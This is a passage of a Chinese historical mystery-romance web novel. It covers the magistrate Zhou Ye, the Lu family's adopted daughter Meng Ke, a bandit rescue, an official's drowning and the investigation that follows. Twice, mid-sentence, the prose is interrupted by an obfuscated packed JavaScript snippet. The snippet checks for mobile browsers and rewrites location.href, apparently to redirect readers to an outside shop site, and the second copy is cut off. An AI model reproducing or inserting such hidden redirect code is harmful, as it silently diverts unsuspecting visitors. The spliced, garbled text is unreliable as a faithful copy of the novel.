回雪摇了摇头：“县令大人来了，说他今夜赴的是咱们府上樊管事的约，不得不上门来扰，务必请樊管事去衙门一趟。” 见小姐犹自思忖，又补了一句，“若是其他人倒也罢了，但这位大人......小姐或想一见。” 听到“想”字，孟珂奇怪地一抬眼，等上堂一看，竟然是他…… 4. 公子县令 前日，雪后初霁，苍山一夜白头。 云鬓山半山亭东面的崖边，生着棵百年老松。苍劲的枝干旁逸斜出，上顶轻云，云下坐了个人，头戴斗笠，身披蓑衣，一动也不动，也不知是真人假人。 突然，旁边一阵轰鸣声响，将地上的雀儿惊跳起来，扑棱棱地逃开。 原来，靠山壁的树下竟还有个人，抱剑而立，脸若冰霜，也不知站了多久，不自觉也冻缩了肩膀，这会儿将近午时，腹内开始作响。 那人扫了雀儿一眼，抱怨道：“这样的化雪寒天，连野兽都不出来，咱们还躲到这山里头来！” 闻言，那蓑衣斗笠之人回了头，竟是个年轻公子，生得面如美玉，俊逸出尘。 侍剑道：“公子，那什么曾大人、假大人的，您还打发不了吗？您这官当得也太过……磕碜！” 那公子看着侍卫笑笑，转回头去，对着不远处的几株红梅，抬了抬下巴：“瞧瞧这‘红梅白雪共寒天’的景致，不比去那曾府强？” 侍剑鼻子里哼出一声，嘀咕道：“明明躲出来在这儿挨饿受冻，还非摆出副享受的样子！您那蓑衣下倒有狐裘，可怜我……” 说着，用不成器的眼神看了公子一眼。 他家这位公子，成日里不穿官衣，到处游荡，喝茶听曲晒太阳，一副浪荡公子模样。来绥陵没多久，就让人封了个“公子县令”的名号。 那可不是夸他风流倜傥——虽然是挺倜傥风流，但实际是暗讽他只做公子，不当县令。 可侍剑如今瞧着，他是连贵公子也当不下去了，日后还不知要堕落成什么样呢。 那一眼却让公子扭头逮了个正着。 “嘿——你那什么眼神？” 周冶正欲发作，忽听一队车马踏雪而来。 * 那队人马到了半山亭便停车下马，整队歇息。 不多时，亭中走出个身披大红斗篷的女子。只见她拉下兜帽，理了理鬓，露出一线侧颜来。远远看着，虽不十分分明，却知是美人无疑。 那一袭红云，在苍山白雪之间，格外醒目。 周冶冲那边一扬头，笑道：“瞧！又一副美人赏雪图。” 侍剑又哼了一声，撇撇嘴：“美人可不如一斤牛肉香，赏雪更不如一个热馒头实在！” 一句话把公子笑得乱颤，抖下一树的雪来。 虽如此说，年轻男子的眼睛总是贪看的。那小姐自不必说，她身旁的丫鬟身姿面庞也有几分动人之处。 只见那主仆二人离开众人，走到崖边，远眺向绥陵城。 “小姐，你看！那就是镜月湖吧？应该不出大半个时辰，就可进城了。” 那小姐含笑点头，转头四下里看。 两个男人见状忙转开头，装作赏梅的赏梅，看雪的看雪。 一瞧见崖边苍松上的蓑衣人，那小姐笑道：“倒正是一幅独钓寒山雪之景。” * 就在这人行画中，画在人中之时，异变陡生。忽听得人叫马嘶之声，随即喊杀声起。 那两个女子回头一望，顿时大惊失色，慌不择路地相扶逃窜，往周冶这边跑了过来。 然而，几个山匪打扮的人已经看见，从后追赶了上来。 那丫鬟竟也忠心，见状当即站住了，横臂拦着，直催小姐快跑。 可那山坡上都是松软的积雪，看不见路。那小姐深一脚浅一脚的，跑得很是艰难，突然一个趔趄踩空，眼看就要跌下崖去。 周冶眼明手快，已经飞身去接。 早在听见马嘶人叫的功夫，他和侍剑相视一眼，便先后冲了上去。 那小姐早慌了神，突然被人抓住，不由惊叫了一声，等抬眼一看，正对上侍剑那满是杀气的冷脸，不由全身本能一缩，使了全身之力推开他去，心中只当是山匪同伙。 侍剑被这么推开，愣了一瞬，但也来不及细想，就见那山匪的刀已经劈向丫鬟，忙将小姐往后一惯，便迎战去了。 那小姐哪经得住他大力一推，连连踉跄了几步，又扑了下去。 周冶刚才接了个空，没想到还有这茬，忙伸手一捞，好歹救了下来。 不过，侍剑方才只是扶着那小姐的手臂，这下则几乎被周冶半抱入怀，鼻息可闻了。 两人不由呼吸都滞了一瞬。 待看清斗笠下的脸，那小姐明显愣了愣，等回过神来，忙从他怀里挣扎开。 周冶忙松开怀抱，不忘扶着肩，待她站稳了，又才将人扶到几步外积雪覆盖的小路上，撤了手。 “山路本就蜿蜒又崎岖，小姐又不知哪里是路，哪里是空，仔细再踏了空。” 他边说，边抬手一解蓑衣，露出里面的银色狐裘大氅，又揭下斗笠，塞入小姐手中，“且在这儿等等。” 那小姐依言站定，接过斗笠，点了点头。 周冶已经飞身上去，银狐大氅在风中翻飞起落，与那些人厮杀起来。 *** 卢府的人没想到，前日遇到的那位蓑衣公子，正是绥陵新上任不久的“公子县令”周冶，字元亨。 孟珂已有耳闻。别人是新官上任三把火，他是到任先玩三个月，将绥陵的地界都遍访了，吃喝玩乐都闹明白了，达官富户也都结交上了。 就这么玩了三个月后，他倒是想起去衙门了，但去的头一件事，就是废除一堆前几任留下的政令，衙门的公事顿时少了大半。 绥陵百姓就没见过这样的县令，五谷不分，四体不勤倒也罢了，那好吃懒做、骄奢淫逸的富贵草包，说的就是他了。 街谈巷议都道，同那街上的闲汉有什么区别？也就是皮囊好看些罢了。 而那“公子县令”的封号传开，有人说，他其实只当他的公子，另有人替他当着县令呢。 而“公子县令”周元亨也没想到，他周大人竟会连夜办案，竟还与前日所救之人狭路相逢。 那曾怀义的尸体当夜就被发现，实属偶然。 时值冬月底，天黑得早，又冷，湖边本就没什么人走动。便是其他季节，天一擦黑，有闹鬼之说的熹园附近那一段儿，也不会有人去。谁知这一夜偏就有人走动，还发现了。 虽设的是夜宴，曾怀义这日午后就早早离了府，连走哪都随侍的高升也没带，单独赴宴，却出了这事。 一见主人身死，高升便拿了樊仲荣的帖子，点名道姓地要官府拿人。 偏这樊仲荣又不见了。官差上船要人了，他身边人才知道人不见了，说是派去接客人的小船一靠大船，他就吩咐了不可去舱中打扰。 * 宾主两人，一死一失踪，都没人瞧见。 而涉事的双方，一个是新近升官的地方要员，一个是京里来的贵女门客。 周冶这个夹在中间的地方官，不得不在这寒冬之夜，亲自带人上了门。 在堂上等了约莫一柱香，他听见脚步声，抬眼一看来人，两下里都惊了。 堂上哑然片刻，两人同时开口道。 “竟是县令大人，还未感谢您前日的救命之恩。” “不想竟是卢家小姐，前日不敬之处，还请小姐海涵。” 又是一阵沉默。 周冶清了清嗓子，公事公办地道：“想必小姐已经知道原委。夜已深，下官也不便多加叨扰。只望小姐行个方便，让贵府樊管事随我走一趟。” 孟珂柔声道：“不瞒大人，樊老板今日出门，至今未归。府上的人到处都找遍了，生不见人……，着实让人悬心。 本想请县衙帮忙找人，又恐给大人添麻烦，这才暂且按捺住了。想着等等消息，明日再说。不想大人今夜便来了。也好，省得再跑一趟。” 周冶道：“那……可否容下官搜上一搜，查问查问府里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999101|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人，说不定能发现什么，也好尽快帮小姐找到人。” 孟珂闻言冷笑了一声：“这大半夜的，大人要搜府？” * 不等周冶反应，孟珂冷厉地道：“大人趁夜而来，我念着前日之恩，特来相见，告知实情。结果，大人非但不领情，还要半夜搜我一个闺阁女子的住处！” 说着，她走到周冶近前，直视他道：“那——我倒有几句话，要问问大人了。” “我初到宝地，不过三日而已。头一日，路遇山匪；第二日，大火受惊；第三日，官员横死，门客失踪；到了这个时辰，大人还要趁夜搜府！ 这一连三日，日日不太平！不知明日又该是什么事？” “小女想问问周大人，这桩桩件件，您这位父母官可脱得了干系？这地方不宁，百姓不安，可是您的责任？” “这三日里，大人在做什么？山匪之事，您查了吗？曾家起火，险些累及绥陵一城百姓，大人惩戒了吗？ 怎么，一个普通人家的小姐路遇山匪，就不需查问；而官员骤死，便是毫无证据，也要当夜拿人？你这绥陵城的官，到底是替谁当的？” 说完，她上下打量了周冶一遍，轻笑一声道，“那日，还以为是侠士仗义相救，不留名姓，不想却是地方堂官怠忽职守。” 侍剑闻言就要理论，周冶却一抬手拦住了。 孟珂说完便往外走去，经过周冶身边时站住了，轻叹道，“如今看来，那山匪说不得是谁的人呢。这官匪一窝的事，也是有的。” 不等他回应，便拂袖而去，留下一句。 “回雪，送客！” *** 周冶一行人刚走出熹园，身后的大门便砰然关上。 侍剑愤愤地瞪了一眼：“公子！这卢家小姐怎么翻脸不认人！那日看着柔柔弱弱，我见犹怜，今日却这般咄咄逼人、盛气凌人！” 周冶却听笑了：“哟——连咄咄逼人、盛气凌人都会了，天天听涤砚念书也有点儿用处。” 侍剑也不管他，继续不平地道：“她一点不感念公子你的救命之恩就罢了，居然还倒打一耙，说您是什么……官匪一窝！您怎么还乖乖听着，也不辩驳辩驳？ 您何须如此忍气吞声？那是卢中书之女，可您也是……” 周冶一听站住了，反问道：“你家公子我做这点芝麻小官，还得靠家中庇护？不报家门就搞不定了？若如此，那我又何必出京，上这儿来呢？” 侍剑道：“可是……任她是谁家的小姐，配合县衙查案也是分所应当。她不配合也罢了，还如此责问于你，什么都怪到你身上，你就不生气吗？” 周冶却没听见似的，玩味地笑道：“不过，你有一点倒没说错，这小女子学过变身还是怎么的！简直一次一个样。” 那日在雪地里，她一身红衣被风吹起，如一只火红的鸟儿，扑棱着双翅，趔趄着撞了过来，落入怀中…… 想想那个样子，再看看今夜的模样，周冶不由摇着头笑了。 侍剑一看更气了：“你怎么还笑得出来？她这样当着众人扫了你的面子，一县之首的威严何在？” “威严？拿来干嘛？”周冶冷笑道，“吓唬无知妇孺，还是欺压弱势百姓？她的话……其实并不错。我既在其位，便该谋其政。这绥陵城但凡有一点事，都是要算在我头上的。” 侍剑争辩不过，又问：“那人没拿到，也没能查问查问，一无所获的……这案子怎么查？” “谁说一无所获？”周冶笑道，“来这儿，原就是走个过场。” “走过场？”侍剑气得站在原地，看着自家不争气的公子径直打马而去。 “对！让人看着县衙连夜查了案，甚至连卢府女眷住的地方都没放过。老百姓看见了，大大小小的官员看见了，这就够了。” “您怎么能？您到底为什么……” 5. 初见 熹园里，回雪已经伺候小姐重新卸下钗环，宽衣上床，待要走开，又忍不住回身问：“小姐，你今日怎么如此对待那位周大人？” 孟珂笑笑：“他若是个寻常县官，我自然不会如此。但既是他周大人，就非如此不可。” 回雪猜不透小姐这意思，又不好再问，转而道：“您就不怕，得罪了他，日后行事不便？” 孟珂摇了摇头：“依我看，他懂我的用意。” 见侍剑拍马赶了上来，周冶才策马挨近，低声道：“还不明白？大家这么演上一场，也就过去了。” “你们是在演戏？”侍剑更糊涂了，压低声音连连问道，“什么戏，为什么要演？你跟那位小姐……也不熟啊。” 看回雪越听越不明白的样子，孟珂笑道：“我跋扈，方能显得他刚正不阿呀。我们闹得不快，方可证彼此清白！” 回雪听得张大了嘴，半晌才叹道：“小姐，你们这些人的肠子……怕是有九曲八十弯。” 那边，周冶也正对侍剑解释道：“她这般呵斥一通，闹上一场。消息一传出去，官民都只会可怜我低声下气一场，还平白受辱。 如此，便不会说我们官官相护，沆瀣一气；或说我周某人惧怕卢府威势，媚上了。” “你想想，她和和气气地让我们搜查，又能查出什么？传出去，是能信她，还是能信我？也就觉得我们是做做样子给人看看罢了。 我们是做样子，是演戏，但做的是另一种样子。” “她一个弱……她一个女子，都不介意担了这跋扈恶名。我一个大男人，何况还已得了好处，又怎能还去在意什么威严、颜面？” 说到这里，周冶顿了顿，“只是，她今日担了这名，只怕要引得物议沸腾……日后证明此案与卢府无关，方能解释，不然总归对她不利。” 侍剑听得一脑门子的浆糊，放弃道：“算了，公子怎么说，我就怎么做就是了。” *** 等回到县衙，小厮洗墨一听，连连惊叹：“想不到，竟能在绥陵见到那个卢家养女！京城二美之一的‘西孟’小姐！” 这洗墨是个极伶俐的。只是，他心明，眼却不亮，有点分不出人脸的毛病，可偏生对美人格外有兴致。凡听说哪家小姐丫鬟有几分颜色，简直恨不能翻墙凿壁去一窥究竟，但凡能偷瞄上两眼，便是死也值了。 听说起那日山上的遭遇，洗墨不免着恼了起来：“都怪那高升！前日，要不是他来守着，也不会逼得公子翻墙而逃。” “什么翻墙而逃？”周冶正斜倚在书案上，翻看着涤砚分类摆好的公文，抬脸斥道，“你好好说话！” 外人并没说错，这“公子县令”里的公子，自然是周冶；而那县令，倒有一多半是书童涤砚。日常琐碎的公文大都是他代看代批，周冶不过拣那重要的过目批示罢了。 洗墨冲公子一笑，仍抱怨道：“还特要我这个最得脸的亲随，去送那劳什子的礼，真是给他们脸了！要不是他，我就能跟公子一起出城，见识那……我家公子英雄救美的事迹了。” 侍剑道：“可不是！都怪那高管事。今日要不是他来衙门里闹，也不会逼得公子连夜上那熹园，还被那小姐好一通责问！” 洗墨愤愤地看了侍剑一眼，怎么偏生让这种榆木疙瘩死心眼，接连遇那美人两次！实在是暴殄天物。 他突然想到了什么，嬉笑道：“这要是让京中那些人看见了，少不得传出什么‘风流纨绔拐带高门小姐’之类的流言呢。这卢家养女的风流故事，又够那说书先生多骗几日茶钱了。” 一直端坐在书案前，默默看文朱批的涤砚，突然冷冷地来了一句：“不，换了这位小姐，那传的就是小姐拐带纨绔了。” * 涤砚一本正经地说出这么句话。屋内几人都怔了一瞬，随即同时爆笑起来。 连本要开口训斥的周冶也绷不住露了笑意，笑完又摇起了头。 他身边这三个人，侍剑忠心护主，洗墨狡黠有急智，而涤砚则稳重端方，倒是各开各的慧，也各有各的傻。 洗墨捧腹大笑了一回，才道：“有些人啊，不过跟着公子读了几天书，就以为自己是读书人了。成日里摆出一副假正经的样子，惯爱说教人，恨不能让世人都照那书上的话去活。没想到，也有说出这种刻薄话的时候。” 涤砚却不搭腔了，埋首案头，继续做自己的事。 跟涤砚说嘴一向无趣，洗墨又转向侍剑，笑道：“不过，说句不该说的，还得谢谢那位死鬼曾大人。要不是托他的福，咱们还不知道，公子救的竟就是那位卢家养女。” “如何不知道？”侍剑道，“公子早就见过她啊。” “什么时候的事？”洗墨立刻来了精神，撞了他一胳膊肘，“这样的事，你回来竟不说！” 侍剑道：“就是来绥陵之前，几位公子在醉仙楼给咱家公子践行那日。” 说着，他看向周冶，“公子难道忘了？” * 周冶如何忘了？这侍剑，放风守卫是把好手，一里外的动静也逃不过他眼睛。只是，他跟洗墨正好相反，眼明，心却不亮。 那日，京中几个损友，定要在他赴任前好好敲他一顿。 席末，众人酒足饭饱，意兴阑珊。临窗而坐的李家三公子李艺，原本百无聊赖地看着楼下的街市，突然就兴奋了起来。 “快看！快看！你们都快来看！” 几个爱热闹的忙往窗边扑了过去。临窗坐他对面的周冶，也顺着他指的方向看去。 只见斜对面的首饰铺门口停了辆马车，车前站着的正是卢中书府上的二公子。 一个丫鬟打起车帘，露出个头戴帷帽的年轻女子。那女子款款起身，让那二公子如捧珠玉般地扶了下来。 “能让二公子这般待的，莫不是那传说中的……卢家养女了！” “卢家养女？我看看！” “可惜啊，隔着帷帽，看不真切！” 楼下的人不过几步就进了店，楼上几人只看了个身影，却不耽误他们就这么热聊上了。 “依我说啊，这般藏头露尾，大概是名不符实。” “那不见得！瞧卢二公子那眼神，莫不是也……” “都是一家人嘛！这肥水不流外人田……” “这家子，父子、父女、兄妹的……可算是亲近非常，不分彼此了。也不知，到底谁跟谁更亲些、近些……” “要我说啊，这自古嫦娥爱少年……难道还爱那个老不羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周冶忙收回了目光。但就在那惊鸿一瞥间，他脑中竟有一瞬的空白，忘了她是那人人嘲谤议论的“卢家养女”。 旁边几人浑然未觉，仍在掰扯。 “她一直深居简出，少与京中贵女来往，大约也有几分自知之明。” “要是不美，那卢……某，能冒天下之大不韪？自毁声名？” “再瞅瞅刚才卢二公子那样！他瞎啊？” “寻常深闺女子，不让人瞧倒也罢了。可她那样的……还如此这般，未免太过做作。反倒是，此地无银三百两了！” 周冶突然出声：“她若是不遮面，大方示人，世人少不得也要说她厚颜无耻，招摇过市。可见，都是人心中成见，与她怎么做并无关系。” 李艺奇道：“嘿——我说元亨，你怎么替她说起话来了？” 周冶端起酒杯，笑笑：“如果我说，我方才看见她了，并不像传闻所言，你们信吗？” 她那一眼扫过来，他虽已回撤目光，却已然抓住了那眼神中的一缕冷冽。 浮花浪蕊，断没有那种眼神。她们的眼神有冰冷，有狠厉，有泼辣，但惟独不会有她那种冰冷之外的干净、清冽与坚硬的质地。 听了周冶这句话，一桌人默了一瞬，随即齐齐大笑了起来。 “你就吹吧！” “瞧他那一本正经的装相！能耐了！” 周冶眉毛一挑，笑了：“这都被你们看出来了！” 李艺当即端酒要罚，一群人笑闹作一团。 而周冶的目光，却从那觥筹交错间，望向那长街上远去的马车。 6. 嫌犯 洗墨促狭地笑道：“咱们公子，跟这卢家养女竟还挺有缘分！” “别养女养女的！”周冶忽而斥道，“这也是你叫得的？” 洗墨奇了：“不对啊，公子！之前明明……您自己也这么叫的。怎么之前叫得，现在就叫不得了？” “我那是……大家都这么……”周冶叹了口气，平日里听李艺那群人说多了，也不过脑子便说了，不过耳朵便听了，如今却觉得实在不该。 他指着洗墨，斥道，“我看你就多余长了根舌头！早晚要拔了去！当心说惯了，在外面走了嘴，连我也不好护你。” “出了这屋子，自不敢说。”洗墨陪笑着，忙转话题道，“公子，你说，这案子跟那卢家……小姐到底有没有干系？” 周冶瞪了他一眼，才正了色，边琢磨边道：“依我看，曾怀义之死，应该不是她所为。” “施了恩，还没求报，怎么就要他死？这位小姐不是那种无脑跋扈的，就算提了什么要求，曾怀义不允，也不会急着灭口。即便要做，也该避避嫌才是。怎么会让底下人拿了帖子约上门，明目张胆地灭口？” “可要说她与那曾怀义毫无干系，却也不见得。施恩在前，亲来绥陵在后，如果只是巧合，那你明日出门就能捡……让个大美人看上了。” 洗墨笑着摸了摸后脑勺，倒还真顺着这话头浮想了起来。 涤砚一听讨论案情，当即停了笔，认真道：“即便她没有事先蓄谋，就不能突然发生什么事，一时激愤杀人？” 周冶摇摇手：“若是那卢家小姐做的，我相信，以她的智计，可以掩盖得很漂亮，不会让人轻易查到她头上。就算查到了，也能把下头人推出去顶缸就是。可如今，她的人成了头号嫌犯，反而不对了。” * 熹园里，孟珂一番折腾后，越夜越精神了。跟回雪两人仍窝在床上，有一搭没一搭地说话。 突然，屋里响起轻轻的两下木头敲击声。 回雪看向窗外，大了点声，问道：“小姐，你说那周大人能中用吗，能帮咱们找到樊管事吗？” 孟珂也轻扫了一眼，笑道：“只怕不怎么顶用？我们自己也要好生找才是。这活要见人死要见尸，总不枉他跟我一场！” 县衙内，洗墨又问：“那……是不是她手下那人，叫樊什么荣的自己干的？自知惹了大事，这才连夜逃窜？那高升不是喊着，说他家老爷跟樊仲荣早年就有仇。” 周冶冷笑道：“那高升是什么人？你与他也打过几回交道，就看不出几分？此人的话，不可不信，却也不能全信。” 说着，他转头吩咐侍剑：“明日，你分派几个人，好好去查查这曾樊二人的过往，还有这樊仲荣与那卢家……小姐的关系始末，全都要细细地捋一遍。” 一时竟还不太改得过来。这洗墨再要常在他耳边说，只怕出去也要跟着走嘴了。 听着外面的响动，回雪压低了声音道：“如果不是樊老板，那又会是谁？” 孟珂扯了扯嘴角，似笑非笑地道：“你忘了，我们在湖边还见到了一个人。” 回雪恍然：“粱夫人？” 周冶也边想边道：“比起现住粱宅的这位小姐，还有一位粱家小姐，也要去查查才是。” 发现尸体报案的，正是这位粱家小姐，不，梁夫人的家仆。说是粱夫人湖边祭奠，失了朱钗，命人连夜去寻；不想竟发现了倒伏在水中、已全无气息的曾怀义。 *** 回雪听小姐半晌没了声音，转头一看，却并未睡着，瞪着一双眼睛不知在想什么。 她家小姐本就是多思多虑的性子，这才常年睡不好觉，再由她想下去，坐到天明也是有的。于是，她连忙打起岔来，让小姐换些轻松的事来想也是好的。 “对了，小姐，你为何说周大人不是寻常的县官，还懂你的意思？你们难道认识？” 孟珂摇头：“不算。只在人群中，偶然看过那么一眼。出京前，二哥哥不是带我去过一次首饰铺？那日，对面酒楼上一群纨绔在说闲嘴，那周……大人就是其中之一。 没想到，他竟来了这儿做官，倒不似那群纨绔的作派了。” “原来如此！难怪看他气度不凡，原来是京中贵公子。只不知是哪个周家？” “哪个周家？”孟珂笑道，“他父亲的名号说出来，天下无人不知的那位。” 如此一说，回雪便不觉怪了：“那种高门大户人家的儿郎，有几个不纨绔的？要是我，何止纨绔，说不得多狂悖呢。” “京中纨绔众多，但谁都没这位公子纨绔得特别。”孟珂笑着打了个呵欠，“不过，我记得他倒也不是因为这，而是他家上一辈的事。” 见小姐乏了，回雪忙劝道：“闲话是说不完的，小姐乘着困劲儿赶紧睡了，一过了这股劲儿，又不知要点灯熬油到几时了。” * 孟珂笑着应了，两人各自歪着，没再说话。可孟珂的脑子里仍走马灯似地，不住地翻腾着这些天的事。恍惚中，她被什么人追着，追着追着就追到了崖边。一群面目模糊的歹人，举着淌血的大刀，在后面追着赶着，笑着喊着。她一路跑来，脚下卧了一地的尸首，几番把她绊倒了，又爬起来，继续跑。 她跑啊跑啊，实在跑不动了，一双腿仿佛已不是自己的，再拖一寸都拖不动了。眼看那大刀就要劈砍上来，她发了狠，深呼吸一口，使劲全身余力，一把拧在了大腿上。 这一拧，脚一蹬，她便惊醒了过来。 “小姐！”回雪闻声迷瞪瞪地坐起身，只见孟珂已经撑着坐了起来，屈膝抱着，脸伏在膝头，身体随着微喘而起伏着。 “又魇住了？”她不看也知道，小姐身上定又是冷汗涔涔，径直去取了件中衣来，服侍她换上，又多披了件厚衣服。 这一醒，怕是又要枯坐到天明，再不能合眼，她便问：“要不，再给您做一碗安神汤来？” 孟珂摇了摇头，声音仍不稳：“那东西这些年喝了得有一湖了，不中用便是不中用。我还是起来走走，熬不住了再去躺。” 回雪忙又取过大氅来，给她严严实实地围上，再伺候她到窗前坐下，自己也在一旁的桌前坐下。 一坐下来，眼皮就直打起架来，她两手支颐，强撑了一会儿，头又歪了下去。 *** 孟珂看了看她，心知让她去睡也是不肯的，便不作声，只看向窗外，一个人陷入了呆想。 当年，那些匪盗是哪里来的？自己又是怎么滚下山坡的。 那个人为何没事？她又为何不去投奔自家亲友，反倒顶了自己身份，转投了陈家。 而母亲派给自己的张嬷嬷，为什么能在匪徒手下活了下来，还同她一起去了陈府，可不出一年又突然死 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所有的人，所有的事，所有的爱，与所有的恨......全都搅缠在了一起，缠得越来越紧、越来越急，拧成了一股卷雪摧树塌屋的飓风，越来越烈，越来越暴，直到卷成了一个黑洞，将一切都吞噬而进。 她自己也仿佛要被卷了进去，忙强压自己停下来，不自觉便一个激灵。 回雪不知什么时候醒了，见此，只当她是冻着了，连忙将她生拉硬劝上床去捂着，陪她说话混着，不知不觉间先后迷糊了过去。 等再醒来，已是午时初刻。但熹园的人都知道规矩，只要小姐未起，院内院外一定悄寂无声，无人敢扰。 小姐本就喜静，烟屿斋里的人本就比别处少，只留几个随身伺候。小丫鬟五儿取了洗脸水来，回雪服侍她梳洗了，坐到镜子前，孟珂对着镜子，突然吩咐道：“去把二哥哥给我寻的那只白玉海棠钗找出来。今日，咱们上曾家去。” *** 早有人先一步到了曾家。 此刻，周冶在正厅东面廊下的栏杆上坐着。 侍剑在他身旁，靠着柱子抱剑而立，直愣愣地看着院中的人来客往。 “公子上这儿来，是看这曾府如何办丧事吗？我瞧着，跟京中并无不同啊。” 洗墨屈膝坐在周冶对面，懒懒地道：“再看看，兴许就能发现什么不一样呢。” 侍剑不解地道：“公子不是说要查那梁夫人，咱们如何不去陈府？在这儿瞎耽误什么功夫。” 洗墨看了他一眼，放慢了语速道：“陈大人那是公子的顶头上司！咱们现如今又没有证据，是上门去搜府啊？还是找个黑布口袋，将那陈府的人绑来严刑拷问？” “还拿黑布口袋做什么？”侍剑脸一扬，自负地道，“我去！准保把人绑了来，不叫一个人看见。” 洗墨转脸看着他，顿了半晌，才摇头道：“算了，跟这没念过书、只会打架的榆木疙瘩废什么话。” “你念过？认得几个字啊？不也是个睁眼瞎！” “念书只是为了认字吗？不是人人都需要念书的，心眼儿长全就行。” “你心眼儿全？半个瞎子，连个人脸都认不得，还想……” “行了！行了！”周冶打断道，“你俩当我聋子？” 侍剑当即住口不言，洗墨却陪笑道：“公子，咱们在这儿半天，是在等什么？” “等看戏啊！”周冶笑道，“现如今，绥陵城里，还有比曾府更现成的戏台吗？” 7. 上场 洗墨看了一圈，没看出戏在哪儿，道：“那……这戏什么时候开场啊？” 周冶道：“都演半天了，你没看见？” 洗墨“啊”了一声，讪笑道：“小的眼拙，哪能跟公子比。不知公子从这……戏里，可看出什么乐子来了？” 周冶冲院里宾客一抬下巴：“看出这曾大人交游广阔、手眼通天。我瞧这架势，那是占山能为王，聚义可起事的角色。” 他这个一县之首，是台面上的。而躺在县衙殓房里的那位，才是这绥陵城桌子底下真正的土皇帝。 这丧礼头一日，瞧着一片平静，实际却暗潮涌动。来客里黑白不忌，贵贱不分，倒是有点黑白共主的意思，其势力大概还不只这绥陵一城。左近的三山四水，只怕都要拜他这个码头。 这种人在官场的职位未必高，可是流水的外官，铁打的他，其势力和威望不是普通流官可比。明的暗的势力，都得给他面子；有了纠纷，也要找他弹压调停。 越是这种人，越喜欢挣些善名。平时扶危济困，仗义疏财那是少不了的。施粥散药更是寻常操作，不明真相的老百姓，谁不高叫一声大善人。谁想，此次升迁宴的善粮都还没发完呢，施主倒已经死了。 周冶想着想着，不由念道：“周公恐惧流言日，王莽谦恭未篡时。向使当初身便死，一生真伪复谁知？” （白居易《放言》五首其三） 洗墨嘿嘿一笑：“公子，这戏也看半日了，咱们要不……回去了？” “急什么？”周冶往柱子上一靠，抱着手道：“这角儿还没上，压轴大戏还没开场呢。” * 曾府外，陈府的马车缓缓驶入巷口。 一旁的茶坊二楼，一个男人转头冲里面的包厢点了点头。 楼下，一个身着便衣的官差同时也动了，疾步走出去一段，冲着曾府门口使了个眼色。一个人影随之一闪，快步进院内，冲什么人点了点头。 周冶微微侧首，低声吩咐了什么，侍剑得令而去。 “来了一个花旦，这另一个……也说话就来了！”他坐直了起来，回头对洗墨笑道，“看完一长出《英雄汇》，现下就要演《双姝记》了。” 说着，起身便走。 洗墨疑惑地笑笑，忙跟了上去。 周冶朝灵堂门口走去，迎面就见曾家二公子曾铭跨出灵堂，走了过来。 曾铭冲他微微颔首，就要错身而过。 “二公子请留步！”周冶朝院门口一抬下巴道，“瞧，那是谁来了？” 那曾铭转头看了一眼，没什么表情，回头只静静看着周冶，不吱声。 周冶只好道：“那就是卢府小姐，樊仲荣的主子。” 曾铭终于拧起了眉毛，顿了顿道：“周大人，家父的案子是查清了，还是审定了？” 周冶道：“那倒不曾。” 曾铭冷脸道：“既如此，到底是意外还是他杀，尚未可知。就算是他杀，凶手是何人，想必大人也还不知。” 仵作验明，曾怀义是溺水窒息而亡，但身上并无打斗伤痕，死前还饮了不少酒；到底是酒醉溺亡，还是别的什么，目前尚无明确证据。 周冶道：“话是这样说……” 曾铭不等他说完，冷笑道：“哪有大人您这样的，不去查案，倒跑到丧主家来挑拨说嘴？” 说着，顿了顿，又道，“莫非……我们闹起来，与您有什么好处不成？” “我能有什么好处！”周冶好笑道，这哪有不迁怒嫌犯，倒来质问查案官员的。 他本想激一激曾家人，两边能闹起来最好好，难免有人走嘴说出些什么，不料却失了算，碰了一鼻子灰。只是，这二公子有点怪怪的，倒像是不想追究父亲死因，想定成一场意外？ 他还要说什么，那曾铭却已经转身便要走。 周冶急道：“听说，二公子的未婚妻——” 曾铭果然站住了。 周冶笑道：“听说，霍家小姐当年遭遇大火后，芳踪始终未觅。二公子多年来痴心一片，再不肯另议婚约。既如此，公子与其坐等，何不去四处寻一寻呢？” 曾铭轻抿了抿唇，压下了什么，转回身来道：“如何没找？家父当年翻遍了远近州县，我这些年也四处打探，始终没有半点消息。” 周冶道：“不瞒公子，我倒是……有了点线索。” *** 二人说话的功夫，孟珂进了灵堂。 待祭拜完出来，她便赶着往后院去见女眷，却见周冶在她必经的回廊上，跟人说话。只是，那人被来回穿行的下人挡着，一时看不清是谁。 遇到此人，少不得要耽搁功夫，孟珂当即转道，疾步穿过院子。 可没走几步就听人朗声叫道，“哟，这不是卢家小姐吗！” 这人——！孟珂心中恨恨地骂了一句，脚步猛地一收，紧跟在后的回雪差点没站得住，好险没撞到小姐身上。 孟珂不情愿地转过脸去，勉强堆了点笑：“周大人好！” 略施一礼，便提步又要走。 周冶却已经大步走了过来。 眼看不能立刻脱身，孟珂使了个眼色，回雪便会了意，将一旁的五儿支开，低声吩咐了什么。 见五儿快步走了，孟珂略略放了心，对着随后走过来的曾铭略施一礼，说道：“听说曾家大公子远在边关，这位想必就是二公子了。曾二公子，还请节哀！” 那曾铭却仿若未闻，也没以丧家之礼还拜，只脱口而出：“听闻，小姐不姓卢？” * 孟珂：“……” 周冶：“……” 洗墨和曾铭的小厮：“……” 可曾铭浑然不觉，继续道：“不知小姐芳龄几何？家乡原在何处？父母家人姓甚名谁？又是何时、因何入的卢家？” 几人不由都奇怪地看看曾铭，又转头看看孟珂。 孟珂似是愣了一瞬，转而笑道：“曾二公子这话好生唐突！初次相见就这样打听女子私隐，也不知是何道理？” “是，”曾铭看了一眼周冶，“是！在下求问心切，唐突了小姐，还请见谅。” 周冶看了洗墨一眼，满脸都在说，你看到他那眼神了吗？这是嫌我在这儿碍事了吗？难道我不在，他这么做就不唐突了？ 